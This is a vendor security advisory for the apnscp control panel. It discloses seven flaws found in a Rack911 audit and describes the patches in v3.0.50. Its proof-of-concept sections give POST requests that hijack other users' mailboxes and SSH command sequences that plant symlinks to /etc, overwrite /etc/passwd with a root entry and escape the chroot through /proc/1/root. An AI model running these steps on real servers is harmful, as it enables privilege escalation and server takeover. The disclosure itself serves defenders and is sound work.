AP-01/AP-07 security vulnerability update

Rack911 has performed an independent audit of apnscp's code base. During this audit, seven vulnerabilities were uncovered by Rack911's audit team. These have been patched in v3.0.50. All users are encouraged to upgrade immediately. An attacker needs an account in the control panel to leverage all attacks disclosed below. Vulnerabilities consist of 2 medium input validation and 5 severe symlink attacks, 4 of which related to a weakness in Optimized Shadow Assertions ("OSA") discussed at the end.

Panels update automatically every night. Updates were delivered 26 hours ago to all panels that participate in automatic nightly updates. If you do not have automatic updates enabled, upcp will perform a panel update. cpcmd misc:cp-version will report your current version. Versions v3.0.50+ are not vulnerable to the following disclosures.

AP-01: Mail - Manage Mailboxes - Create Mailbox

URL:
/apps/mailboxroutes?mode=add
POST:
catchall=0&username=email&domain%5B%5D=domain.com&type=v&mailbox=9994&alias_remote=&add=Add+Address&bulk-entry=
Discussion:
The above POC will create email@domain.com assuming that domain.com belongs to another user. There must be checks in place to ensure that a user can only modify their own account.

Response:
Discussed in AP-02, a related attack.

AP-02: Mail – Manage Mailboxes – Edit Mailbox

URL:
/ajax_engine?engine=cmd&fn=email_rename_mailbox
POST:
args[]=user2&args[]=domain.com&args[]=user1&args[]=domain.com&args[]=user2&args[]=v&s=M6svBMLKV8Osec2oGPAMfJXplr1PaxVq
Discussion:
The above POC will rename user2@domain.com to user1@domain.com despite the logged in user not having authorization to modify domain.com

Response:
Domains are checked before added to the panel via [domains] => dns_check=1, the default setting. In order for AP-01 and AP-02 to be leveraged, the domain must be added to another account on the same server. Once a domain has been added, however, it would be possible for an attacker to hijack a mailbox to that domain so long as it resides on the same server.

The API has changed considerably over the last decade and whereas certain controls may have been in place outside the API, refactoring brought many of these checks internal to the API command to prevent accidental misuse. aliases:add-domain() will perform a domain check for example, which is a prerequisite to enable email for a domain. Prior to v3.0.50 there was no check to validate the mail transport existed in the following email API methods:

  • modify_mailbox
  • restore_mailboxes
  • add_mailbox
  • add_alias

Symlink attacks

The following exploits, with the exception AP-06, are part of a general flaw in Optimized Shadow Assertions (OSAs) built into apnscp. All of the following issues represent significant threat vectors. During internal auditing, additional API methods employing similar design patterns were uncovered and patched as well. These are covered in OSA COMMENTARY at the end of the list.

AP-03: Mail – Vacation Responder

URL:
/apps/vacation
POST:
contenttype=text&vacation=1&message=I+am+currently+away+from+the+office.++Your+message+will+be+read+once+I+return.%0D%0A%0D%0AThank+you.&save=Save+Changes&charset=UTF-8&text=1
Proof of Concept (SSH)

rm -f .vacation.msg ; ln -s /etc .vacation.msg
# Enable the Vacation Responder and this is the end result:
chmod 755 /etc ; ls -la / | grep etcdrwxr-xr-x 1 user root 4096 Jul 12 10:36 etc
mv /etc/passwd /etc/passwd.bak
echo 'user:x:0:0::/home/user:/bin/bash' > /etc/passwd
# Log out and log back in to gain root access. If you go to /proc/1/root you can then access thehost filesystem outside of the chroot.

Discussion:
Even though each user is chrooted, there should never be root file operations (especially writes) under user accessible directories. As a result, we were able to take over the /etc directory and give ourselves root access. Once we had root within the chroot, we were able to traverse to the /proc/1/root directory to gain access outside of the chroot. The simplest way to fix this is to stop doing root file operations where an unprivileged user has read / write access! Drop to the user every time. The risk of symlink attacks and race conditions will always be far too dangerous.

Response:
Discussed in OSA COMMENTARY. AP-04, AP-05, AP-07 leverage same flaw.

AP-04: Files – File Manager – Show Upload

URL:
/apps/filemanager?Upload
Proof of Concept (SSH)

id
# uid=9995(user) gid=1004(user) groups=1004(user),10(wheel)
mkdir test
# Open the ‘test’ directory via File Manager.
rm -rf test ; ln -s /etc
# Upload an empty file called passwd and enable the overwrite destination file on conflict option.
echo 'user:x:0:0::/home/user:/bin/bash' > /etc/passwd
# Log out and log back in to gain root access. If you go to /proc/1/root you can then access thehost filesystem outside of the chroot

Discussion:
Same as AP-03

Response:
Discussed in OSA COMMENTARY. AP-03, AP-05, AP-07 leverage same flaw.

AP-05: Files – WebDisk

URL:
/apps/filemanager?Upload
Proof of Concept (SSH)

ln -s /etc etc
# Log into WebDisk and go to the etc directory. You can now upload files and create directories without any issue. This obviously has wide security implications.

Discussion:
Ignoring the fact that there should never be any root file operations taking place within user accessible directories, the WebDisk daemon should be running as the user. There is absolutely no reason that WebDisk users should have their privileges escalated to root, it doesn’t make any sense outside of lazy (dangerous) programming

Response:
A flawed check in file:expose() allowed arbitrary hard links to be created to any file within a symlink directory. expose() is a specialized API call for integration of sabre/dav. Unlike AP-03, AP-04, AP-07 the attack mechanism is different but its root cause is still a failed stat check on the referent path. OSA shortcomings are discussed in OSA COMMENTARY at the end.

AP-06: Databases – MySQL Backups

Script:
/usr/local/apnscp/bin/scripts/backup_dbs.php
Proof of Concept (SSH)

mkdir mysql_backups
ln -s /etc/passwd mysql_backups/db_name-20190716.sql.zip
# If the backup_dbs.php script is run for the current date, the following will happen:
ls -la /etc/passwd
# -rw------- 1 user user 654 Jul 16 12:51 /etc/passwd
chmod 644 /etc/passwd
echo 'user:x:0:0::/home/user:/bin/bash' > /etc/passwd
# Log out and log back in to gain root access. If you go to /proc/1/root you can then access thehost filesystem outside of the chroot.

Discussion:
Same as AP-03

Response:
Backups were one of the first components written for apnscp before the build up of additional libraries to facilitate interaction with client. A check has been added to remove conflicting files prior to backup. This process will be replaced with a mixture of account contextables + API export calls when eligible for a rewrite.

AP-07: Web – Subdomains

URL:
/apps/subdomains.php
POST:
subdomain=sub&domains[]=domain.com&subdomain_path=/var/www/sub.domain.com&Add_Subdomain=Add Subdomain&user=user&app-preload&
Proof of Concept (SSH)

ln -s /etc /var/www/sub.domain.com
# Add a new subdomain called sub.domain.com and /etc will now be owned by the user.
mv /etc/passwd /etc/passwd.bak
echo 'user:x:0:0::/home/user:/bin/bash' > /etc/passwd
# Log out and log back in to gain root access. If you go to /proc/1/root you can then access thehost filesystem outside of the chroot

Discussion:
Same as AP-03

Response:
Discussed in OSA COMMENTARY. AP-03, AP-04, AP-05 leverage same flaw.


OSA Commentary

apnscp follows principle of least privilege with a master/worker model for privileged processing beyond panel core. Workers are elevated processes that run as root but must be explicitly engaged in the panel code via query(). "file" API methods allow the primary user to bypass traditional DAC and ACL checks, which requires elevation. Emulated permission checks provide access controls to system files in the worker allowing the primary user unrestricted access to secondary user files.

Optimized Shadow Assertions ("OSAs") were the root cause for 4/5 symlink flaws (exception, AP-06) discovered by Rack911 Labs. OSAs were introduced in June 2016 to improve file API performance over 70x by avoiding costly permission calculations for files that met multiple criteria:

  • File accessed by account admin
  • File gid matches account admin
  • File located on shadow/ layer

Shadow layer is a component of synthetic filesystems integral to apnscp. They evolved from replicated filesystems in Ensim WEBppliance, apnscp's progenitor. Each filesystem consists of a data layer (called "shadow") on top of one or more read-only service layers that meld into a a filesystem template layer. Any file copied up from the read-only layer appears in the user's shadow layer thus preventing tampering of system files. Synthetic filesystems create clear distinction between user and system files.

Replicated filesystem in Ensim, early versions of apnscp
Synthetic filesystem introduced in 2010

OSAs assume these files are safe and thus permits operation (move, rename, copy, delete) with minimal sanity checks. OSAs are disabled if the user is a secondary user, as additional permission calculations are necessary against discretionary access controls (i.e. 0755 permissions) and access control lists (e.g. setfacl -m user:apache:7 file). OSAs did not take into account the referent of a symlink, instead examining the owner and permissions of the symlink itself - a very dangerous oversight. Linking for example /tmp/foo to /etc where foo is a symlink owned by "admin" and /etc owned by "root" would allow write-access by "admin" by mistakenly treating /tmp/foo as a directory owned by "admin" instead of a symlink to a system-owned directory /etc.

apnscp discards symlink permissions and ownership now, preferring the referent to determine access rights. OSAs are discarded in move() and copy() where the parent directory is a symlink, requiring similar checks if the copy task came from a secondary user. An internal audit discovered similar vulnerabilities. Additional checks are now performed for the following methods:

  • file:find-quota-files() symlink dereference attack
  • file:shadow-buildup() disallow arbitrary build-up of user directories in system-owned path if symlink
  • file:touch() symlink dereference attack
  • file:can-descend() calculates permissions on referent
  • file:create-file() checks if file is link
  • file:symlink() dereference attack
  • file:chown(), file:chgrp() always dereferences links
  • mysql:export(), pgsql:export() suid/sgid to active user, disallow export in arbitrary locations

Improving protection

Patching known flaws doesn't preclude future flaws from developing. Whereas apnscp 3.0 is the first public release focusing on debranding/standardized tooling, 3.1 is business as usual with development. All changes below are limited to 3.1, which is still under testing. Switching to 3.1 is a breeze if you're curious!

  • Symlink attack detected in cross-server migrations
  • Errors in WebDisk upgraded to unhandled exceptions
  • mysql:export-pipe(), pgsql:export-pipe() drop permissions prior to export
  • Job runner drops permissions voluntarily unless a job requests to elevate. Certain tasks such as Bootstrapper that require elevation will continue to run without occupying a worker slot.
  • Process calls that drop via suid/sgid settings drop UID/GID in all components of the pipeline
  • Any process spawned with an effective UID will continue to retain this effective UID for successive spawns. Forked processes can optionally discard the privileged UID (normally "root") by setting the "suid" option prior to execution.
  • unshare() syscall is experimental. Spawning a session via SSH, crond, or login will create a new PID namespace. PID namespacing detaches the system process tree from the active session replacing it with a limited process tree. This deflects chroot breakage via /proc/1/root traversal.

    To enable this feature, enable pam_use_unshare:
    cpcmd config:set apnscp.bootstrapper pam_use_unshare true
    upcp -sb system/pam

    su site1 then run ps faux. Notice the PID begins with 1 now instead of a much larger number.

More improvements are scheduled to arrive; this is an initial set of changes from a cursory look over the weekend.

I would like to take a moment to thank Patrick William and Steve Ciaburri from Rack911 Labs for their work in providing these PoCs. Software never is perfect, at least from the start. These reports provide an opportunity to grow apnscp in a direction with a strong emphasis on security.

📝 Full report - APNSCP Audit Report.pdf (262 KB)

All security notices should be sent to security@apisnetworks.com. Turnaround time is within 24 hours.